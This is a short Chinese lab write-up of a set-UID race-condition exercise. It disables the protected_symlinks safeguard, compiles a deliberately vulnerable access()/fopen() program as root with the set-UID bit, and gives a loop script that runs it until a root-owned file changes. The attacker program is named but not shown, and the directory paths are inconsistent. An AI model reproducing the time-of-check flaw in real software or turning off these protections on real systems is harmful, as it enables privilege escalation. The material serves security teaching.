前言:我把梦写一写
0x00_实验准备
虚拟机:Ubuntu 4.15.0
先取消竞态条件攻击的保护,及创建工作目录seed
echo 0 > /proc/sys/fs/protected_symlinks
mkdir seed
在 /home/hack/seed 下新建 vulp.c 文件:
/* vulp.c */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define DELAY 10000
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
long int i;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){
for(i=0; i < DELAY; i++){
int a = i^2;
}
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}
安装gcc
sudo apt install build-essential
创造漏洞文件及设置权限,将其设为SET-UID文件
sudo gcc vulp.c -o vulp
sudo chmod u+s vulp
创建目标文件,用root用户创建root_file
sudo touch root_file
sudo chmod g+w root_file
vim append_text
这样所有攻击环境就准备好嘞
创建检查时间戳的脚本check.sh,并将运行vulp的命令加入其中
#!/bin/sh
#注意`不是单引号
old=`ls -l /home/shiyanlou/seed/root_file`
new=`ls -l /home/shiyanlou/seed/root_file`
while [ "$old" = "$new" ]
do
./vulp < append_text
new=`ls -l /home/shiyanlou/seed/root_file`
done
echo "STOP... The file has been changed"
vim check.sh
chmod u+x check.sh
vim attacker.c
gcc attacker.c -o attacker
总目录
先运行
./attacker
再
./check.sh
可以访问也可以编辑
搞定